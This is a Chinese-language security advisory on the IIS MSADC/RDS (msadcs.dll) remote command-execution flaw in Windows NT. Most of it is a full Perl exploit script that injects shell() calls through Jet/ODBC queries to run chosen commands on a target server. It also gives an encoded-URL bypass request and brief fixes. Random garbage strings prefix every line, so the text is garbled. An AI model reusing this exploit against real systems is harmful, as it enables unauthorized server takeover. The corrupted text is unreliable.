IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
w(nQ:;oC jUy$aGX 涉及程序:
.0]Odf:@ Microsoft NT server
1)ZdkTF@H jLreN#:9 描述:
PA>su)N$ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1'9YY")# k_7agW 详细:
cy#N(S[ 1 如果你没有时间读详细内容的话,就删除:
]o*-|[^? c:\Program Files\Common Files\System\Msadc\msadcs.dll
D,,
x<JG| 有关的安全问题就没有了。
-P=Hp/ELi 9E]7Etfw 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
NU!B|l O:W4W=K 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
d# q8- 关于利用ODBC远程漏洞的描述,请参看:
GsC4ty ri1:q.:I] http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm TS;?>J- [^A>hs* 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
p`3$NCJN http://www.microsoft.com/security/bulletins/MS99-025faq.asp *\F,?yU l*n4d[0J 这里不再论述。
*]* D^' +AL(K: 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
-LEpT$v| 5gY9D!;:0D /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
<^wqN!/ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
p`{ | [< ^0T[V-PgiD \UBQ:+3 #将下面这段保存为txt文件,然后: "perl -x 文件名"
'@eH)wh@m)
FK| q* #!perl
F(;C \[Ep #
C\;
$RH # MSADC/RDS 'usage' (aka exploit) script
?\![W5uuXG #
GYNLyd) # by rain.forest.puppy
&Ch~$Wb^ #
c9R|0Yn^J # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
)>rHM6-W # beta test and find errors!
{Qj7?}xW }A'Ro/n use Socket; use Getopt::Std;
BH`GUIk getopts("e:vd:h:XR", \%args);
V2_I=]p_ VNWa3`w print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^_pJEX 6*=7ifS if (!defined $args{h} && !defined $args{R}) {
\o{rw0w0 print qq~
t'L#8MJ Usage: msadc.pl -h <host> { -d <delay> -X -v }
Com`4>0>I -h <host> = host you want to scan (ip or domain)
n ^_B0Rkv -d <seconds> = delay between calls, default 1 second
Z^yhSbE{5 -X = dump Index Server path table, if available
.?p\=C@C+ -v = verbose
rty&\u@} -e = external dictionary file for step 5
Z;nUS,?om 41jlfKiOm Or a -R will resume a command session
hXz@ (cF 4+15` ~; exit;}
L\(" :Y2J7p[+ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
sn.&|)?Fi if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"N*i!h if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
X"3Za[9j if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
h5.AM?*TNd $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
]~-vU{ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
,Frdi>7 ~ )m[dfeqd + if (!defined $args{R}){ $ret = &has_msadc;
"=\@
a= die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
.>{I S4 Bwg\_:vq print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Gmp`3 . "cmd /c ";
P V,AN
$in=<STDIN>; chomp $in;
4m3pF0k $command="cmd /c " . $in ;
*q |3QHZ k?'<f if (defined $args{R}) {&load; exit;}
B[nkE+s \]+57^8r print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
N(BCe\FV &try_btcustmr;
u#`FkuE\} %e'Z.vm print "\nStep 2: Trying to make our own DSN...";
, 1`-u$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2%(RB4+ *oU-V# print "\nStep 3: Trying known DSNs...";
Y]>Qu f.! &known_dsn;
O)Mf/P' "/}cV5=Z print "\nStep 4: Trying known .mdbs...";
J{bNx8.& &known_mdb;
#Bgq]6G2 _F9O4Q4 if (defined $args{e}){
*QT|J6ng print "\nStep 5: Trying dictionary of DSN names...";
nH% 1lD?: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
y OLqIvN K7N.gT*4 print "Sorry Charley...maybe next time?\n";
a5xmIp@6 exit;
"ZLujpZcG +1j+%&). ##############################################################################
njN]0l{p mtn+bV
R% sub sendraw { # ripped and modded from whisker
%:WM]dc sleep($delay); # it's a DoS on the server! At least on mine...
EU"J'? my ($pstr)=@_;
CiSl0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
37QXML die("Socket problems\n");
<m3or if(connect(S,pack "SnA4x8",2,80,$target)){
T^~9'KDd select(S); $|=1;
yL>wCD,L print $pstr; my @in=<S>;
t=Um@;wh select(STDOUT); close(S);
,t=12R]> return @in;
,dO$R.h } else { die("Can't connect...\n"); }}
)mb RG9P XU19+mW=P ##############################################################################
J%n{R60b SS/t8Y4W sub make_header { # make the HTTP request
SJdi*> my $msadc=<<EOT
r9d dVD POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
C5^eD^[c User-Agent: ACTIVEDATA
`DPR >dd@ Host: $ip
ko%B` Content-Length: $clen
$ZOKB9QccC Connection: Keep-Alive
(66DKG 1KtPq, ADCClientVersion:01.06
(ATCP#lF Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
8K/o / q4rDAQyPO --!ADM!ROX!YOUR!WORLD!
>7^+ag~& Content-Type: application/x-varg
r!7e:p JLO Content-Length: $reqlen
/NDuAjp[@ [Ifhh2 EOT
8xEOR!\!`k ; $msadc=~s/\n/\r\n/g;
;y{VdT return $msadc;}
:9Vd=M6, -=A W. Zo ##############################################################################
;dh8|ujh \O7Vo<B&D sub make_req { # make the RDS request
"<J%@ my ($switch, $p1, $p2)=@_;
0u"/7OU my $req=""; my $t1, $t2, $query, $dsn;
VI(;8 ]O;Hlty(g if ($switch==1){ # this is the btcustmr.mdb query
b88Zk* $query="Select * from Customers where City=" . make_shell();
|_P- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
.V\M/q\Tv $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!dW77kLTg Hw "UJP elsif ($switch==2){ # this is general make table query
H~P"uYKIZ $query="create table AZZ (B int, C varchar(10))";
pM i w9} $dsn="$p1";}
F}lgy;=h l< y9ue= elsif ($switch==3){ # this is general exploit table query
*I(g~p $query="select * from AZZ where C=" . make_shell();
Ph&fOj=pFb $dsn="$p1";}
Sp]i~#q_' P;dp>jL elsif ($switch==4){ # attempt to hork file info from index server
.u_k?.8| $query="select path from scope()";
XFg.Z+ # $dsn="Provider=MSIDXS;";}
g}-Ch# P"g
Y|}| elsif ($switch==5){ # bad query
CY4_= $query="select";
|= frsf~? $dsn="$p1";}
;|hEXd?b B!(t<W8cu $t1= make_unicode($query);
ffQ%GV_ $t2= make_unicode($dsn);
BU="BB/[ $req = "\x02\x00\x03\x00";
yq?_#r $req.= "\x08\x00" . pack ("S1", length($t1));
_0rHxh7}q $req.= "\x00\x00" . $t1 ;
G D$jP? $req.= "\x08\x00" . pack ("S1", length($t2));
28j=q-9Z $req.= "\x00\x00" . $t2 ;
`37GVo4 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|
3`qT#p{ return $req;}
; YaR|)B x\Y%/C[Kc ##############################################################################
3PonF4 $J |oVVct sub make_shell { # this makes the shell() statement
Dk'EKT- return "'|shell(\"$command\")|'";}
xmDX1sL** Ohm>^N;
##############################################################################
>q&Q4E0 (Jw[}&+ sub make_unicode { # quick little function to convert to unicode
!k&~|_$0@ my ($in)=@_; my $out;
Te8BFcJG for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
id-VoHdK return $out;}
Hr$oT=x[ LaZF=<w( ##############################################################################
k:4?3zJI bmAgB}Ior sub rdo_success { # checks for RDO return success (this is kludge)
sK:,c5^ my (@in) = @_; my $base=content_start(@in);
{I|k@ if($in[$base]=~/multipart\/mixed/){
8i;N|:WdH return 1 if( $in[$base+10]=~/^\x09\x00/ );}
v}IP%84 return 0;}
:*M\z3`k ;UgRm# ##############################################################################
L-d8bA c=2e? sub make_dsn { # this makes a DSN for us
$p4aNC my @drives=("c","d","e","f");
{zGIQG9 print "\nMaking DSN: ";
OvPy+I foreach $drive (@drives) {
V=|^r? print "$drive: ";
8-5a*vV,> my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
\QUvImT "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
,h2q37 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
We]X+>BlO $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
~MY(6P return 0 if $2 eq "404"; # not found/doesn't exist
B-[SUmHr if($2 eq "200") {
s\&_Kbw]c foreach $line (@results) {
Q;P ~' return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
&,Q{l$`X } return 0;}
fBH&AO$Q ]tZ5XS ##############################################################################
h6x+.}} &1Fcwj sub verify_exists {
EGwY|+3 my ($page)=@_;
7atYWz~yG my @results=sendraw("GET $page HTTP/1.0\n\n");
.;tO;j|6 return $results[0];}
yj$S?B Ee 4C/8hsn ##############################################################################
q
rbF@{ hkgPC- sub try_btcustmr {
+&\TdvNI4 my @drives=("c","d","e","f");
l@*/1O)v my @dirs=("winnt","winnt35","winnt351","win","windows");
J'O`3!Oy/ [6S"iNiyKT foreach $dir (@dirs) {
i,")U)b print "$dir -> "; # fun status so you can see progress
K23_1-mbe foreach $drive (@drives) {
p 8"(z@T print "$drive: "; # ditto
"|DR"rr'j $reqlen=length( make_req(1,$drive,$dir) ) - 28;
eq/5$b( $reqlenlen=length( "$reqlen" );
)C2d)(baEJ $clen= 206 + $reqlenlen + $reqlen;
1|w,Z+/ ioi my @results=sendraw(make_header() . make_req(1,$drive,$dir));
oz5o=gt7 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
LO61J_J< else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
YLd
5 d L%E0o ##############################################################################
i`]M2Q ,:\2Lf sub odbc_error {
l3MbCBX2 my (@in)=@_; my $base;
qd|*vE my $base = content_start(@in);
CES FkAj~ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
!T,7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
24N,Bo
3 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Dlj=$25 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N/?MsrZw return $in[$base+4].$in[$base+5].$in[$base+6];}
^y6Pkb
P print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
E2*"~gL^, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
,.`^Wx6F $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6 qKIz{; !v;r3*#Nky ##############################################################################
UuT[UB=x5 )N=b<%WD sub verbose {
/1li^</|p` my ($in)=@_;
G0s:Dum return if !$verbose;
A}y1v;FB print STDOUT "\n$in\n";}
c0G/irK f!$J_dz ##############################################################################
>qF KXzI sf*SxdoZU sub save {
[!R%yD; my ($p1, $p2, $p3, $p4)=@_;
wCt+{Y3T open(OUT, ">rds.save") || print "Problem saving parameters...\n";
4\ OELU print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Ok`U*j close OUT;}
)vU{JY; 8]?1gDS|9O ##############################################################################
W=EO=}l# UiZ61lw sub load {
Gm2rjpZeq my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
UdI>x 4bI open(IN,"<rds.save") || die("Couldn't open rds.save\n");
DpS6>$v8t @p=<IN>; close(IN);
omjLQp[% $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
X3m?zQbhv $target= inet_aton($ip) || die("inet_aton problems");
*Ra")(RnDK print "Resuming to $ip ...";
n&C9f9S $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
zRJy3/> if($p[1]==1) {
k(qQvn $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Wq9s[)F"Z $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
?^ErrlI_ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
#P9VX5Tg if (rdo_success(@results)){print "Success!\n";}
!F<?h e<U else { print "failed\n"; verbose(odbc_error(@results));}}
Awh"SUOh0 elsif ($p[1]==3){
=h_gj > if(run_query("$p[3]")){
&\X;t|
print "Success!\n";} else { print "failed\n"; }}
{H+?DMh elsif ($p[1]==4){
BkZ%0rw% if(run_query($drvst . "$p[3]")){
KncoIw print "Success!\n"; } else { print "failed\n"; }}
'j)eqoj exit;}
D1Sl+NOV 'j3'n0o ##############################################################################
P~qVr#eU &"kx(B sub create_table {
0 j.Sb2 my ($in)=@_;
JZXc1R| 9 $reqlen=length( make_req(2,$in,"") ) - 28;
,){0y%c#y $reqlenlen=length( "$reqlen" );
$Tur"_`I; $clen= 206 + $reqlenlen + $reqlen;
.E}});l my @results=sendraw(make_header() . make_req(2,$in,""));
aXJe"IT.u return 1 if rdo_success(@results);
Y@4vQm+ my $temp= odbc_error(@results); verbose($temp);
XP` kf]9 return 1 if $temp=~/Table 'AZZ' already exists/;
v4zd
x) return 0;}
h@DJ/&;u@ 2>!ykUw^O ##############################################################################
" /'=gE f!J^vDl sub known_dsn {
p_AV3 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
jFXU
xf my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
piG1&* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
$~YuS_sYg "banner", "banners", "ads", "ADCDemo", "ADCTest");
c~'kW`sNV @iRVY|t/ foreach $dSn (@dsns) {
1}uDgz^ print ".";
z )pV$ next if (!is_access("DSN=$dSn"));
I7~|!d6 if(create_table("DSN=$dSn")){
=z3jFaZ print "$dSn successful\n";
op-#Ig$# if(run_query("DSN=$dSn")){
b
tu:@s8ci print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(Lo2fY5 print "Something's borked. Use verbose next time\n";}}} print "\n";}
709eLhXrH =R'v]SXj ##############################################################################
=e;wEf%` uf^:3{1 sub is_access {
0|ps), my ($in)=@_;
?},ItJ#>)q $reqlen=length( make_req(5,$in,"") ) - 28;
uJOW%|ZN` $reqlenlen=length( "$reqlen" );
VL{#.;QQa $clen= 206 + $reqlenlen + $reqlen;
`aUp&8{ my @results=sendraw(make_header() . make_req(5,$in,""));
W =zG my $temp= odbc_error(@results);
' mcJ/9)v verbose($temp); return 1 if ($temp=~/Microsoft Access/);
E%^28}dN return 0;}
yx2.7h3 4B]61|A ##############################################################################
6\3k0z
[KH?5C sub run_query {
DOerSh_0W my ($in)=@_;
zFtGc $reqlen=length( make_req(3,$in,"") ) - 28;
OVyy}1Hx $reqlenlen=length( "$reqlen" );
88>Uu!M=f $clen= 206 + $reqlenlen + $reqlen;
Z ~(XyaN my @results=sendraw(make_header() . make_req(3,$in,""));
RNdnlD#P return 1 if rdo_success(@results);
y2R=%EFh6 my $temp= odbc_error(@results); verbose($temp);
faq
K D: return 0;}
V)2_T!e%* =b7&(x ##############################################################################
dNQSbp vy@Lu
cB sub known_mdb {
pD# "8h my @drives=("c","d","e","f","g");
%d0S-. my @dirs=("winnt","winnt35","winnt351","win","windows");
aHC;p=RQ\A my $dir, $drive, $mdb;
.e"Qv*[^ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(g m^o{ (@E#O$' # this is sparse, because I don't know of many
{_Qxe1^g my @sysmdbs=( "\\catroot\\icatalog.mdb",
&%X Jf~IQ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
3@] a#> "\\system32\\certmdb.mdb",
\=7=>x_ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
1[l>D1F? IBkH+j my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
HzV+g/8>A "\\cfusion\\cfapps\\forums\\forums_.mdb",
#0u69 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Yd;r8rN "\\cfusion\\cfapps\\security\\realm_.mdb",
q=Yerp3~ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
AfN "\\cfusion\\database\\cfexamples.mdb",
f^4*. ~cB "\\cfusion\\database\\cfsnippets.mdb",
d5y2Y/QO "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
C[nr> "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
! |h2&tH "\\cfusion\\brighttiger\\database\\cleam.mdb",
{,FeNf46 "\\cfusion\\database\\smpolicy.mdb",
Q)BoWd "\\cfusion\\database\cypress.mdb",
j dhml%pAd "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
f#kevf9zc "\\website\\cgi-win\\dbsample.mdb",
ZYe\"|x,s "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
]zU<=b@ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
q"D
L6 >j ); #these are just
sGls^J) foreach $drive (@drives) {
+)JqEwCrq foreach $dir (@dirs){
|u ;BAb foreach $mdb (@sysmdbs) {
/JeqoM"x print ".";
W<91m* if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
:5M}Iz7 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
M5kHD]b if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
^3|$wB= print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
bM^A9BxD } else { print "Something's borked. Use verbose next time\n"; }}}}}
s66XdM ~cBc&u:" foreach $drive (@drives) {
Z034wn\N foreach $mdb (@mdbs) {
]8>UII ,US print ".";
37-y if(create_table($drv . $drive . $dir . $mdb)){
SP7g qM print "\n" . $drive . $dir . $mdb . " successful\n";
~|{)h^]@ if(run_query($drv . $drive . $dir . $mdb)){
Vfm #UvA print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Jf<yTAm } else { print "Something's borked. Use verbose next time\n"; }}}}
q>(u>z! }
oHXW])[ UUf1T@- ##############################################################################
aE+$&_>ef ICbdKgLz sub hork_idx {
Zmbz-##HQ print "\nAttempting to dump Index Server tables...\n";
qV8\/7'A0a print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Ym{%"EB $reqlen=length( make_req(4,"","") ) - 28;
gpK_0?% $reqlenlen=length( "$reqlen" );
B"8JFf}"q $clen= 206 + $reqlenlen + $reqlen;
11<@++,i my @results=sendraw2(make_header() . make_req(4,"",""));
L+rySP if (rdo_success(@results)){
csX*XiDWm my $max=@results; my $c; my %d;
gQd=0"MV for($c=19; $c<$max; $c++){
d<GG( $results[$c]=~s/\x00//g;
q\t>D
_lU $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
w+9C/U;|s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
J=SB/8tQ)T $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
a-A+.7 $d{"$1$2"}="";}
cw]>a&d foreach $c (keys %d){ print "$c\n"; }
K'5sn|) } else {print "Index server doesn't seem to be installed.\n"; }}
mz$Wo *FB 5;MK1l ##############################################################################
[{p?BTs - )a_ub sub dsn_dict {
8pL>wL
&C open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Ky9No"o while(<IN>){
wJos'aTmE $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
k3/JQ]'D next if (!is_access("DSN=$dSn"));
[^d6cMEOlc if(create_table("DSN=$dSn")){
ok%a|Zz+] print "$dSn successful\n";
Q`p}X&^a if(run_query("DSN=$dSn")){
5@>4)dk\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
*o e0= print "Something's borked. Use verbose next time\n";}}}
w4fJ`, print "\n"; close(IN);}
&PBWJ?@O)r a.}:d30 ##############################################################################
/>^`*e_ -=[o{r` sub sendraw2 { # ripped and modded from whisker
6 ,pZRc sleep($delay); # it's a DoS on the server! At least on mine...
N<Z)b!o%u my ($pstr)=@_;
7{+Io socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`b#nC[b6|v die("Socket problems\n");
X:SzkkVl7 if(connect(S,pack "SnA4x8",2,80,$target)){
G<u.+V print "Connected. Getting data";
*VC4s`< open(OUT,">raw.out"); my @in;
F{*9[jY select(S); $|=1; print $pstr;
OU.9 #|q U while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
1|~#028 close(OUT); select(STDOUT); close(S); return @in;
!/Bw,y ri< } else { die("Can't connect...\n"); }}
K!-&Zv %YvSHh;c ##############################################################################
*4hOCQ[ M ,_^hm7 sub content_start { # this will take in the server headers
V:G }=~+= my (@in)=@_; my $c;
x#F1@r8R for ($c=1;$c<500;$c++) {
RSPRfYU/ if($in[$c] =~/^\x0d\x0a/){
<7FP"YU if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
$;)noYo else { return $c+1; }}}
i^sDh>$J return -1;} # it should never get here actually
qSC~^N` m['v3m: ##############################################################################
01-\:[{ q(&^9" sub funky {
_]=TFz2O my (@in)=@_; my $error=odbc_error(@in);
cEdz;kbUM if($error=~/ADO could not find the specified provider/){
Qor{1_h)+9 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
R(/[NvUb exit;}
71L\t3fG if($error=~/A Handler is required/){
."F'5eTT~ print "\nServer has custom handler filters (they most likely are patched)\n";
>d27[% exit;}
_!C)r*0( if($error=~/specified Handler has denied Access/){
vA2,&%jw print "\nServer has custom handler filters (they most likely are patched)\n";
xu"94y+ exit;}}
B'KXQa-$O 9o_ g_q ##############################################################################
qrM{b= Ft"&NtXeZZ sub has_msadc {
MgH1d&R my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
K.V!@bPlw9 my $base=content_start(@results);
VeD+U~ d return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
1%/ NL?8# return 0;}
hk"9D<&i>b a_ 9 |xI ########################
6_9:Eb=^v! 6cQeL$,SQ +;:aG6q+ 解决方案:
"9U+h2#] 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
j:v~MrQ7| 2、移除web 目录: /msadc